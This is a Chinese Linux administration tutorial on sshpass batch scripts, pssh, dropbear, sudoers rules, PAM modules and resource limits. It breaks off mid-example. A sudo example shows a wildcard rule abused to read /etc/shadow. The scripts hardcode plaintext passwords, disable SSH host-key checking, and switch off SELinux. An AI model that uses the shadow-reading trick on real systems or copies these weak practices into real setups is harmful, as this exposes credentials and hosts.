# 从环境变量获取密码
[root@centos8 ~]# export SSHPASS=123456
[root@centos8 ~]# sshpass -e ssh [email protected]

# 从远程主机上拉取文件
sshpass -p user_password scp -P22 [email protected]:/home/test  ./ 
scp -r /data/dir --rsh="sshpass -p 'my_pass_here' ssh -l myuser" 10.42.0.1:/opt
rsync --rsh="sshpass -p 'my_pass_here' ssh -l myuser" 10.42.0.1:/data/backup/ /backup/

范例:批量修改多台主机的root密码为随机密码

[root@centos8 ~]#cat change_root_password.sh
#!/bin/bash
rpm -q sshpass &> /dev/null || yum install -y sshpass
export SSHPASS=meu
NET=10.0.0
for i in {5..19};do
    {
    PASS=`openssl rand -base64 9`
    sshpass -e ssh $NET.$i "echo $PASS| passwd --stdin root &> /dev/null"
    echo $NET.$i:$PASS >> host.txt
    }&
done
wait

范例:批量部署多台主机基于key验证脚本1

[root@centos8 ~]#cat sshpass.sh
#!/bin/bash
NET=10.0.0
PASS=meu
ssh-keygen -P "" -f /root/.ssh/id_rsa &> /dev/null
rpm -q sshpass &> /dev/null || yum -y install sshpass &> /dev/null
for i in {1..100};do
{
sshpass -p $PASS ssh-copy-id -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa.pub $NET.$i &> /dev/null
}&
done
wait

范例:批量部署多台主机基于key验证脚本2

[root@centos8 ~]#cat sshpass2.sh
#!/bin/bash
HOSTS="
10.0.0.6
10.0.0.18
10.0.0.77
"
PASS=meu
ssh-keygen -P "" -f /root/.ssh/id_rsa &> /dev/null
rpm -q sshpass &> /dev/null || yum install -y sshpass &> /dev/null
for i in $HOSTS;do
{
sshpass -p $PASS ssh-copy-id -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa.pub $i &> /dev/null
}&
done
wait

轻量级自动化运维工具 pssh

EPEL源中提供了多个自动化运维工具

  • pssh:基于python编写,可在多台服务器上执行命令的工具,也可实现文件复 制,提供了基于ssh和scp的多个并行工具,项目: http://code.google.com/p/parallel-ssh/, CentOS8上目前没提供
  • pdsh:Parallel remote shell program,是一个多线程远程shell客户端,可 以并行执行多个远程主机上的命令。可使用几种不同的远程shell服务,包括 rsh,Kerberos IV和ssh,项目:https://pdsh.googlecode.com/
  • mussh:Multihost SSH wrapper,是一个shell脚本,允许使用命令在多个主 机上通过ssh执行命令。可使用ssh-agent和RSA/DSA密钥,以减少输入密码, 项目:http://www.sourceforge.net/projects/mussh

pssh 命令选项如下:

-H:主机字符串,内容格式”[user@]host[:port]”
-h file:主机列表文件,内容格式”[user@]host[:port]”
-A:手动输入密码模式,(注意这个参数添加后只是提示作用,随便输入或者不输入直接回车都可以)
-i:每个服务器内部处理信息输出
-l:登录使用的用户名
-p:并发的线程数【可选】
-o:输出的文件目录【可选】
-e:错误输出文件【可选】
-t:TIMEOUT 超时时间设置,0无限制【可选】
-O:SSH的选项
-x 传递多个SSH 命令,多个命令用空格分开,用引号括起来
-X 同-x 但是一次只能传递一个命令
-P:打印出服务器返回信息
-v:详细模式
--version:查看版本

a)批量执行命令

范例:

#默认使用ssh的key认证,通过 -A选项,使用密码认证批量执行指令
pssh -H "192.168.1.10" -A hostname

#输出信息
pssh -H [email protected] -A -i hostname

#通过pssh批量关闭seLinux
pssh -H [email protected] -i 'sed -i "s/^SELINUX=.*/SELINUX=disabled/" /etc/selinux/config'

#多台主机
pssh -H "192.168.1.10 192.168.1.20" -i hostname

#多台主机
#列表文件内的信息格式是“ip:端口”,如果本机和远程机器使用的ssh端口一致,则可以省去端口,直接用ip就行。
cat hosts.txt
10.0.0.8:25791
10.0.0.6
pssh -h hosts.txt -i hostname

#将标准错误和标准正确重定向分别保存至本地主机的/data/stdout和/data/stderr目录下
pssh -H 192.168.1.10 -o /data/stdout -e /data/stderr -i “hostname”

#变量需要加单引号引起来
[root@centos7 ~]#cat hosts.txt
10.0.0.8
10.0.0.6
[root@centos7 ~]#pssh -h hosts.txt -i echo $HOSTNAME
[1] 16:47:00 [SUCCESS] 10.0.0.6
centos7.cici.com
[2] 16:47:01 [SUCCESS] 10.0.0.8
centos7.cici.com
[root@centos7 ~]#pssh -h hosts.txt -i 'echo $HOSTNAME'
[1] 16:48:05 [SUCCESS] 10.0.0.6
centos6.localdomain
[2] 16:48:05 [SUCCESS] 10.0.0.8
centos8.localdomain

#*需要用双或单引号引起来
[root@centos7 ~]#pssh -h hosts.txt -i ls /data/*
[1] 16:48:29 [FAILURE] 10.0.0.6 Exited with error code 2
Stderr: ls: cannot access /data/10.0.0.6: No such file or directory
ls: cannot access /data/10.0.0.8: No such file or directory
[2] 16:48:29 [FAILURE] 10.0.0.8 Exited with error code 2
Stderr: ls: cannot access '/data/10.0.0.6': No such file or directory
ls: cannot access '/data/10.0.0.8': No such file or directory

[root@centos7 ~]#pssh -h hosts.txt -i 'ls /data/*'
[1] 16:48:47 [SUCCESS] 10.0.0.6
[2] 16:48:47 [SUCCESS] 10.0.0.8
/data/centos7.log
/data/f1.txt
/data/f2.txt
/data/host_pass.txt

b)批量上传文件或目录(pscp.pssh命令)

pscp.pssh功能是将本地文件批量复制到远程主机

pscp [-vAr] [-h hosts_file] [-H [user@]host[:port]] [-l user] [-p par] [-o outdir] [-e errdir] [-t timeout] [-O options] [-x args] [-X arg] local remote

pscp-pssh选项

-v 显示复制过程
-r 递归复制目录
-h file:主机列表文件,内容格式”[user@]host[:port]”
-l:登录使用的用户名

范例:

#将本地curl.sh 复制到/app/目录
pscp.pssh -H 192.168.1.10 /root/test/curl.sh /app/
pscp.pssh -h host.txt /root/test/curl.sh /app/

#将本地多个文件批量复制到/app/目录
pscp.pssh -H 192.168.1.10 /root/f1.sh /root/f2.sh /app/

#将本地目录批量复制到/app/目录
pscp.pssh -H 192.168.1.10 -r /root/test/ /app/

c)批量下载文件或目录(pslurp命令)

pslurp功能是将远程主机的文件批量复制到本地

pslurp [-vAr] [-h hosts_file] [-H [user@]host[:port]] [-l user] [-p par][-o outdir] [-e errdir] [-t timeout] [-O options] [-x args] [-X arg] [-L localdir] remote local(本地名)

pslurp选项

-L 指定从远程主机下载到本机的存储的目录,local是下载到本地后的名称
-r 递归复制目录

范例:

#批量下载目标服务器的passwd文件至/app下,并更名为user
pslurp -H 192.168.1.10 -L /app /etc/passwd user

[root@centos7 ~]#pslurp -h hosts.txt -L /data/ /etc/redhat-release version
[1] 17:50:57 [SUCCESS] 10.0.0.6
[2] 17:50:57 [SUCCESS] 10.0.0.8
[root@centos7 ~]#tree /data
/data
├── 10.0.0.6
│ └── version
└── 10.0.0.8
└── version

d)批量同步(prsync命令) 同步本机/mnt/test目录下的文件或目录到远程机器的/mnt/test路径下

[root@bastion-IDC ~]# prsync -l root -h hosts.txt -r /mnt/test/ /mnt/test/

同步本机/mnt/test目录下的文件或目录到远程机器的/mnt路径下

[root@bastion-IDC ~]# prsync -l root -h hosts.txt -r /mnt/test/ /mnt/

注意:上面批量同步目录操作是将本机对应目录数据同步到远程机器上,远程机 器上对于目录下多余的文件也会保留(不会删除多余文件)

同理,批量同步文件操作,去掉-r参数

注意:同步文件的时候,其实就是完全覆盖,远程机器对应文件内的文件会被全部替换!

如下: 同步本机的/mnt/test/file文件内容到远程服务器/mnt/test/file文件内

[root@bastion-IDC ~]# prsync -l root -h hosts.txt /mnt/test/file /mnt/test/file
[root@bastion-IDC ~]# prsync -l root -h hosts.txt /mnt/test/file /mnt/aaa

e)批量kill远程机器上的进程(pnuke命令)

比如批量kill掉远程机器上的nginx进程

[root@bastion-IDC ~]# pnuke -h hosts.txt -l root nginx

dropbear

由Matt Johnston所开发的Secure Shell软件。Dropbear是一个相对较小的SSH服 务器和客户端。它运行在一个基于POSIX的各种平台。Dropbear是开源软件,在 麻省理工学院式的许可证。Dropbear是特别有用的“嵌入”式的Linux(或其他 Unix)系统,如无线路由器,期望在存储器与运算能力有限的情况下取代 OpenSSH,尤其是嵌入式系统

官网:http://matt.ucc.asn.au/dropbear/dropbear.html

格式:

dbclient [options] [user@]host[/port][,[user@]host/port],...] [command]

dropbearkey:主机密钥生成工具
dropbearkey  -t <type>  -f <filename>  [-s bits]
/etc/dropbear/

服务端程序:
dropbear
-p  [IP:]PORT
-F: 前台
-E:将日志发往错误输出

范例:centos8编译安装dropbear

#安装相关包:
yum install gcc zlib-devel
#下载
wget http://matt.ucc.asn.au/dropbear/releases/dropbear-2019.78.tar.bz2
tar xf dropbear-2019.78.tar.bz2
#编译安装
cd dropbear-2019.78/
less INSTALL README
./configure --prefix=/apps/dropbear --sysconfdir=/etc/dropbear
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install

[root@centos8 dropbear-2019.78]#tree /apps/
/apps/
└── dropbear
    ├── bin
    │   ├── dbclient
    │   ├── dropbearconvert
    │   ├── dropbearkey
    │   └── scp
    ├── sbin
    │   └── dropbear
    └── share
        └── man
            ├── man1
            │   ├── dbclient.1
            │   ├── dropbearconvert.1
            │   └── dropbearkey.1
            └── man8
                └── dropbear.8


#配置PATH变量
echo 'PATH=/apps/dropbear/sbin:/apps/dropbear/bin:$PATH' > /etc/profile.d/dropbear.sh
. /etc/profile.d/dropbear.sh

#生成私钥
/apps/dropbear/sbin/dropbear -h
mkdir /etc/dropbear # 生成配置目录
dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key -s 2048
dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key

#启动ssh服务:
dropbear -p :2222 -FE  #前台运行,相当于sshd
dropbear -p :2222      #后台运行

#客户端访问:
ssh -p 2222 [email protected]
dbclient -p 2222 [email protected] #相当于ssh

参考:

阮一峰 SSH 中文教程 https://wangdoc.com/ssh/index.html

利用sudo实现授权

sudo 介绍

sudo 即superuser do,允许系统管理员让普通用户执行一些或者全部的root命 令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管 理时间,同样也提高了安全性

在最早之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的 缺点之一在于必须要先告知超级用户的密码。sudo于1980年前后推出,sudo使一 般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名 字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特 殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为 “sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”, 此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答 后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为 5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用 户作为管理帐号,例如Ubuntu、Mac OS X等。

sudo特性

  • sudo能够授权指定用户在指定主机上运行某些命令。如果未授权用户尝试使用 sudo,会提示联系管理员
  • sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到 中心主机或者日志服务器
  • sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它 的密码时,用户获得了一张存活期为5分钟的票
  • sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权 限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440

sudo 组成

包:sudo

配置文件: /etc/sudo.conf

授权规则配置文件: /etc/sudoers, /etc/sudoers.d

安全编辑授权规则文件和语法检查工具

/usr/sbin/visudo

范例:

#检查语法
visudo -c

#检查指定配置文件语法
visudo -f /etc/sudoers.d/test

授权编辑规则文件的工具: /usr/bin/sudoedit

执行授权命令: /usr/bin/sudo

时间戳文件: /var/db/sudo

日志文件: /var/log/secure

sudo 命令

sudo命令
ls -l /usr/bin/sudo
sudo –i –u wang 切换身份

sudo [-u user] COMMAND
-V             : 显示版本信息等配置信息
-U user        :(other user)配合-l选项来指定要列出哪个用户的权限信息
-u user        :user 默认为root
                    若使用uid的方式指定用户,则需要使用"#uid",但很多时候可能需要对"#"使用"\"转义,即使用"\#uid"
-l [command]   :ll 列出用户在主机上可用的和被禁止的命令。
                    当配合command时,且该command是被允许执行的命令,将列出命令的全路径及该命令参数。
                    如果command是不被允许执行的,则sudo直接以状态码-1退出。
                    可以指定多个字母"l"来显示更详细的格式。
-n             :使得sudo变成非交互模式,但如果安全策略是要求输入密码的,则sudo将报错
-S             :(stdin)该选项使得sudo从标准输入而非终端设备上读取密码,给定的密码必须在尾部加上换行符
-s [command]   :(shell)指定要切换到的shell,如果给定command,则在此shell上执行该命令
-v             :再延长密码有效期限5分钟,更新时间戳
-k             :清除时间戳(1970-01-01),下次需要重新输密码
-K             :与-k类似,还要删除时间戳文件
-E             :(environment)该选项告诉sudo在执行命令时保留自己的环境变量,保留环境变量的方式是执行环境配置文件。
                    但因为跨了用户,所以很可能某些家目录下的环境配置文件会因为无权限而执行失败,此时sudo将报错   
-b             :在后台执行指令。 注意,如果使用该选项,将无法使用任务计划(job)来控制维护这些后台进程,需要交互的命令应该考虑是否真的要后台,因为可能会失败
-p             :改变询问密码的提示符号
                    示例:-p "password on %h for user %p: "
--             :暗示sudo命令行参数到此结束

sudo 授权规则配置

配置文件格式说明: /etc/sudoer , /etc/sudoers.d/

配置文件中支持使用通配符 glob

? 任意单一字符
* 匹配任意长度字符
[wxc] 匹配其中一个字符
[!wxc] 除了这三个字符的其它字符
\x 转义
[[alpha]] 字母

范例:

/bin/ls [[alpha]]*

配置文件规则有两类

  1. 别名定义:不是必须的
  2. 授权规则:必须的

sudoers 授权规则格式:

用户 登入主机=(代表用户) 命令
user host=(runas) command

范例:

root ALL=(ALL) ALL

格式说明:

user: 运行命令者的身份
host: 通过哪些主机
(runas):以哪个用户的身份,默认为root用户
command: 运行哪些命令

sudoers的别名

User和runas:运行命令者的身份
    username                用户
    #uid                    用户uid
    %group_name             用户组
    %#gid                   用户组id
    user_alias|runas_alias  用户别名
    #支持将多个用户定义为一组用户,称之为用户别名,即user_alias;
host:通过哪些主机
    ip或hostname
    network(/netmask)
    host_alias
command:运行哪些命令
    command name
    directory
    sudoedit 特殊权限,可用于向其它用户授予sudo权限;
    Cmnd_Alias

sudo别名有四种类型:

  • User_Alias
  • Runas_Alias
  • Host_Alias
  • Cmnd_Alias

别名格式:

[A-Z]([A-Z][0-9]_)*  # 别名必须是大写字母组成,可以包含数字及_下划线组成

别名定义:

Alias_Type NAME1 = item1,item2,item3 : NAME2 = item4, item5

实战案例

范例1:

Student ALL=(ALL) ALL
%wheel ALL=(ALL) ALL

范例2:

student ALL=(root) /sbin/pidof,/sbin/ifconfig  # 多个命令之间用,逗号分隔
%wheel ALL=(ALL) NOPASSWD: ALL

范例3:用户别名和命令别名

User_Alias NETADMIN= netuser1,netuser2
Cmnd_Alias NETCMD = /usr/sbin/ip
NETADMIN ALL=(root) NETCMD

范例4:

User_Alias SYSADER=wang,cici,%admins
User_Alias DISKADER=tom
Host_Alias SERS=www.meu.com,172.16.0.0/24
Runas_Alias OP=root
Cmnd_Alias SYDCMD=/bin/chown,/bin/chmod
Cmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk
SYSADER SERS= SYDCMD,DSKCMD
DISKADER ALL=(OP) DSKCMD

范例5:

User_Alias ADMINUSER = adminuser1,adminuser2
Cmnd_Alias ADMINCMD = /usr/sbin/useradd,/usr/sbin/usermod, /usr/bin/passwd [azA-Z]*, !/usr/bin/passwd root
ADMINUSER ALL=(root) NOPASSWD:ADMINCMD,PASSWD:/usr/sbin/userdel
#NOPASSWD不用输入密码

范例6:指定用户执行命令所代表的用户,可以设定默认代表哪个用户

Defaults:wang runas_default=tom
wang ALL=(tom,jerry) ALL

范例7:

wang 192.168.1.6,192.168.1.8=(root) /usr/sbin/,!/usr/sbin/useradd

范例8:如何解决?

wang ALL=(ALL) /bin/cat /var/log/messages*

sudo cat /var/log/messages /etc/shadow # 可以看多个文件

范例9:授权用户修改配置文件,慎重

vim /etc/sudoers/test
Wang ALL=(ALL) sudoedit  

wang 可以执行下面命令
sudoedit /etc/sudoers
sudoedit /etc/sudoers.d/test

范例10:修改验证密码间隔为2分钟

[root@centos8 ~]#vim /etc/sudoers
Defaults env_reset , timestamp_timeout=2
[root@centos8 ~]#sudo -V
......
Authentication timestamp timeout: 2.0 minutes......

范例11:ubuntu 默认用户具有sudo权限

root@ubuntu1804:~# grep %sudo /etc/sudoers
%sudo ALL=(ALL:ALL) ALL
root@ubuntu1804:~# id wang
uid=1000(wang) gid=1000(wang)
groups=1000(wang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

#默认的用户wang 属于此sudo组,所以wang有所有权限

范例12: 修改ubuntu的visudo的默认编辑器

root@ubuntu1804:~# export EDITOR=vim
root@ubuntu1804:~# visudo

范例:删除时间戳文件

[root@centos8 ~]#su - wang
Last login: Mon May 25 10:28:14 CST 2020 on pts/1
[wang@centos8 ~]$sudo -K # 删除用户的时间戳文件/run/sudo/ts/wang
[wang@centos8 ~]$exit
logout
[root@centos8 ~]#ll /run/sudo/ts

范例:修改sudo 提示符格式

[wang@centos8 ~]$sudo cat /var/log/messages
[sudo] password for wang:
[wang@centos8 ~]$sudo -p "password on %h for user %p: " cat /var/log/messages
password on centos8 for user wang:

PAM认证机制

PAM 介绍

认证库:文本文件,MySQL,NIS,LDAP等

PAM:Pluggable Authentication Modules,插件式的验证模块,Sun公司于1995 年开发的一种与认证相关的通用框架机制。PAM 只关注如何为服务验证用户的 API,通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的 认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认 证方式而无需更改服务程序一种认证框架,自身不做认证

PAM架构

image-20210120200416213.png

PAM提供了对所有服务进行认证的中央机制,适用于本地登录,远程登录,如: telnet,rlogin,fsh,ftp,点对点协议PPP,su等应用程序中,系统管理员通过PAM 配置文件来制定不同应用程序的不同认证策略;应用程序开发者通过在服务程序 中使用PAM API(pam_xxxx( ))来实现对认证方法的调用;而PAM服务模块的开发 者则利用PAM SPI来编写模块(主要调用函数pam_sm_xxxx( )供PAM接口库调用, 将不同的认证机制加入到系统中;PAM接口库(libpam)则读取配置文件,将应 用程序和相应的PAM服务模块联系起来

PAM API:面向应用程序认证的接口 (应用程序开发)

PAM SPI:面向认证模块的接口 (模块开发)

PAM配置:面向配置的配置接口 (配置开发)

PAM相关文件

  • 模块文件目录:/lib64/security/*.so (模块开发人员关注)
  • 特定模块相关的设置文件:/etc/security/
  • 应用程序调用PAM模块的配置文件
    • 主配置文件:/etc/pam.conf,默认不存在, 一般不使用主配置
    • 为每种应用模块提供一个专用的配置文件:/etc/pam.d/APP_NAME (常用)
    • 注意:如/etc/pam.d存在,/etc/pam.conf将失效

范例:查看程序是否支持PAM

[root@centos8 ~]#ldd `which sshd` |grep libpam
    libpam.so.0 => /lib64/libpam.so.0 (0x00007fea8e70d000)

[root@centos8 ~]#ldd `which passwd` |grep pam
    libpam.so.0 => /lib64/libpam.so.0 (0x00007f3cce2ce000)
    libpam_misc.so.0 => /lib64/libpam_misc.so.0 (0x00007f3cce0ca000)

PAM工作原理

PAM认证一般遵循这样的顺序:Service(服务) –> PAM(配置文件) –> pam_*.so

PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于 /etc/pam.d下),最后调用认证文件(位于/lib64/security下)进行安全认证

image-20210120200457594.png

PAM认证过程示例:

  1. 使用者执行/usr/bin/passwd 程序,并输入密码
  2. passwd开始调用PAM模块,PAM模块会搜寻passwd程序的PAM相关设置文件,这个设置文件一般是在/etc/pam.d/里边的与程序同名的文件,即PAM会搜寻/etc/pam.d/passwd此设置文件
  3. 经由/etc/pam.d/passwd设定文件的数据,取用PAM所提供的相关模块来进行验证
  4. 将验证结果回传给passwd这个程序,而passwd这个程序会根据PAM回传的结果决定下一个动作(重新输入密码或者通过验证)

PAM 配置文件格式说明

通用配置文件/etc/pam.conf格式

application type control module-path arguments

专用配置文件/etc/pam.d/ 格式

type control module-path arguments
application:指服务名,如:telnet、login、ftp等,服务名字“OTHER”代表所有没有在该文件中明确配置的其它服务
type       :指模块类型,即功能
control    :PAM库该如何处理与该服务相关的PAM模块的成功或失败情况,一个关健词实现
module-path: 用来指明本模块对应的程序文件的路径名
Arguments  : 用来传递给该模块的参数

模块类型(module-type)

  • Auth 账号的认证和授权
  • Account 帐户的有效性,与账号管理相关的非认证类的功能,如:用来限制/允 许用户对某个服务的访问时间,限制用户的位置(例如:root用户只能从控制 台登录)
  • Password 用户修改密码时密码复杂度检查机制等功能
  • Session 用户会话期间的控制,如:最多打开的文件数,最多的进程数等
  • -type 表示因为缺失而不能加载的模块将不记录到系统日志,对于那些不总是安 装在系统上的模块有用

Control:

同一种功能的多个检查之间如何进行组合

两种实现机制:

  1. 简单实现:使用一个关键词来定义
  2. 详细实现:使用一个或多个“status=action”

简单实现:

  1. required:一票否决,表示本模块必须返回成功才能通过认证,但是如果该 模块返回失败,失败结果也不会立即通知用户,而是要等到同一type中的所 有模块全部执行完毕再将失败结果返回给应用程序,即为必要条件(给面子)
  2. requisite:一票否决,该模块必须返回成功才能通过认证,但是一旦该模块 返回失败,将不再执行同一type内的任何模块,而是直接将控制权返回给应 用程序。是一个必要条件(不给面子)
  3. sufficient:一票通过,表明本模块返回成功则通过身份认证的要求,不必 再执行同一type内的其它模块,但如果本模块返回失败可忽略,即为充分条 件,优先于前面的required和requisite(相当于老板,一锤定音)
  4. optional:表明本模块是可选的,它的成功与否不会对身份认证起关键作用, 其返回值一般被忽略
    • include: 调用其他的配置文件中定义的配置信息
    • substack: 与include类似

      # cat passwd
      #%PAM-1.0
      auth       include  system-auth
      account    include  system-auth
      password   substack system-auth
      -password   optional    pam_gnome_keyring.so use_authtok
      password   substack postlogin
      

详细实现:

[status1=action1, status2=action2, ...]
status:返回状态
    success, open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown, maxtries, new_authtok_reqd, acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err, authtok_recover_err, authtok_lock_busy, authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item, conv_again, incomplete, and default.

action:采取的行为,比如ok, done, die, bad, ignore, ...
    ok: 模块过了,继续查
    done: 一票通过,相当于sufficient
    bad:失败继续检查,相当于required
    die: 一票否决,相当requisite
    ignore: 忽略
    reset: 重新检查
如
auth [user_unknown=ignore success=ok ignore=ignore default=bad] pam_securetty.so
image-20210413153724276.png

module-path:

  • 模块文件所在绝对路径:
  • 模块文件所在相对路径:/lib64/security目录下的模块可使用相对路径,如:pam_shells.so、pam_limits.so
  • 有些模块有自已的专有配置文件,在/etc/security/*.conf目 录下

Arguments

  • debug :该模块应当用syslog( )将调试信息写入到系统日志文件中
  • no_warn :表明该模块不应把警告信息发送给应用程序
  • use_first_pass:该模块不能提示用户输入密码,只能从前一个模块得到输入 密码
  • try_first_pass:该模块首先用前一个模块从用户得到密码,如果该密码验证 不通过,再提示用户输入新密码
  • use_mapped_pass:该模块不能提示用户输入密码,而是使用映射过的密码
  • expose_account:允许该模块显示用户的帐号名等信息,一般只能在安全的环 境下使用,因为泄漏用户名会对安全造成一定程度的威胁

注意:修改PAM配置文件将马上生效

建议:编辑pam规则时,保持至少打开一个root会话,以防止root身份验证错误

PAM模块帮助

官方在线文档:http://www.linux-pam.org/Linux-PAM-html/

官方离线文档:http://www.linux-pam.org/documentation/

pam模块文档说明:/user/share/doc/pam-*

rpm -qd pam

man --k pam_

man 模块名 如:man 8 rootok

常用PAM模块

pam_shells 模块

功能:检查有效shell

帮助:man pam_shells

案例:不允许使用/bin/csh的用户本地登录

[root@centos8 ~]#yum -y install csh
[root@centos8 ~]#vim /etc/pam.d/login
auth required pam_shells.so

[root@centos8 ~]#vim /etc/shells
去掉 /bin/csh

[root@centos8 ~]#useradd –s /bin/csh testuser

#testuser将不可登录
[root@centos8 ~]#tail /var/log/secure

pam_securetty.so 模块

功能:只允许root用户在/etc/securetty列出的安全终端上登陆

范例:CentOS7 允许root在telnet登陆

注意: CentOS8没有调用此模块,所以默认允许root远程登录telnet

# 远程登录时终端类型都是pts的,/etc/securetty中没有pts类型

vi /etc/pam.d/remote # 远程登录pam模块
#将下面一行加上注释
#auth required pam_securetty.so

#或者/etc/securetty文件中加入
pts/0,pts/1…pts/n

#测试用root telnet登录

范例:在CentOS8上实现pam_securetty.so模块禁止root远程登录telnet服务

#默认CentOS8 允许root远程telnet登录
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: root
Password:
Last login: Mon May 25 11:51:08 from 10.0.0.1
[root@centos8 ~]#

#修改配置不允许root远程telnet登录
[root@centos8 ~]#vim /etc/pam.d/remote
#%PAM-1.0
auth required pam_securetty.so
[root@centos7 ~]#scp /etc/securetty 10.0.0.8:/etc

#测试
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: wang
Password:
Last login: Mon May 25 12:06:21 from ::ffff:10.0.0.6
[wang@centos8 ~]$exit
logout
Connection closed by foreign host.
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: root
Password:
Login incorrect

centos8 login:

pam_nologin.so 模块

功能:如果/etc/nologin文件存在,将导致非root用户不能登陆,当该用户登陆时, 会显示/etc/nologin文件内容,并拒绝登陆

pam_limits.so 模块

功能:在用户级别实现对其可使用的资源的限制,例如:可打开的文件数量,可 运行的进程数量,可用内存空间

image-20210120200637139.png
选项 [options] 含义 例子
-H 设置硬资源限制,一旦设置不能增加。 ulimit – Hs 64;限制硬资源,线程栈大小为 64K。
-S 设置软资源限制,设置后可以增加,但是不能超过硬资源设置。 ulimit – Sn 32;限制软资源,32 个文件描述符。
-a 显示当前所有的 limit 信息。 ulimit – a;显示当前所有的 limit 信息。
-c 最大的 core 文件的大小, 以 blocks 为单位。 ulimit – c unlimited; 对生成的 core 文件的大小不进行限制。
-d 进程最大的数据段的大小,以 Kbytes 为单位。 ulimit -d unlimited;对进程的数据段大小不进行限制。
-f 进程可以创建文件的最大值,以 blocks 为单位。 ulimit – f 2048;限制进程可以创建的最大文件大小为 2048 blocks。
-l 最大可加锁内存大小,以 Kbytes 为单位。 ulimit – l 32;限制最大可加锁内存大小为 32 Kbytes。
-m 最大内存大小,以 Kbytes 为单位。 ulimit – m unlimited;对最大内存不进行限制。
-n 可以打开最大文件描述符的数量。 ulimit – n 128;限制最大可以使用 128 个文件描述符。
-p 管道缓冲区的大小,以 Kbytes 为单位。 ulimit – p 512;限制管道缓冲区的大小为 512 Kbytes。
-s 线程栈大小,以 Kbytes 为单位。 ulimit – s 512;限制线程栈的大小为 512 Kbytes。
-t 最大的 CPU 占用时间,以秒为单位。 ulimit – t unlimited;对最大的 CPU 占用时间不进行限制。
-u 用户最大可用的进程数。 ulimit – u 64;限制用户最多可以使用 64 个进程。
-v 进程最大可用的虚拟内存,以 Kbytes 为单位。 ulimit – v 200000;限制最大可用的虚拟内存为 200000 Kbytes。

修改限制的实现方式:

(1) ulimit命令,立即生效,但无法保存

-n 每个进程最多的打开的文件描述符个数
-u 最大用户进程数
-S 使用 soft(软)资源限制
-H 使用 hard(硬)资源限制

ulimit -HSn 65535  #  设定每个进程最大文件描述符的数量

(2) 配置文件:

/etc/security/limits.conf (立即生效)
/etc/security/limits.d/*.conf (立即生效)

配置文件格式:

#每行一个定义
<domain> <type> <item> <value>

格式说明:

应用于哪些对象

#<domain>:应用于哪些对象
Username 单个用户
@group 组内所有用户
* 所有用户
% 仅用于限制 maxlogins limit , 可以使用 %group 语法. 只用 % 相当于 * 对所有用户
maxsyslogins limit限制. %group 表示限制此组中的所有用户总的最大登录数

限制的类型

#<type>:限制的类型
Soft:软限制,普通用户自己可以修改
Hard:硬限制,由root用户设定,且通过kernel强制生效
-   :软硬使用相同限制;

限制的资源

#<item>:限制的资源类型
nofile 所能够同时打开的最大文件数量,默认为1024
nproc 所能够同时运行的进程的最大数量,默认为1024

指定具体值

案例:系统的各种资源的默认值

[root@centos8 ~]#ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7092
max locked memory       (kbytes, -l) 16384
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7092
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

案例:ulimit命令修改用户打开的文件个数,最多能打开2^10次方个文件

[root@centos8 ~]#ulimit -n
1024
[root@centos8 ~]#ulimit -n 1048577
-bash: ulimit: open files: cannot modify limit: Operation not permitted
[root@centos8 ~]#ulimit -n 1048576  # 最多能打开2^10次方个文件
[root@centos8 ~]#ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7092
max locked memory       (kbytes, -l) 16384
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1048576
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 7092
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
[root@centos8 ~]#echo 2^20 |bc
1048576

案例:限制用户最多打开的文件数和运行进程数,并持久保存

cat /etc/pam.d/system-auth
session     required    pam_limits.so

vim /etc/security/limits.conf
#用户apache可打开10240个文件
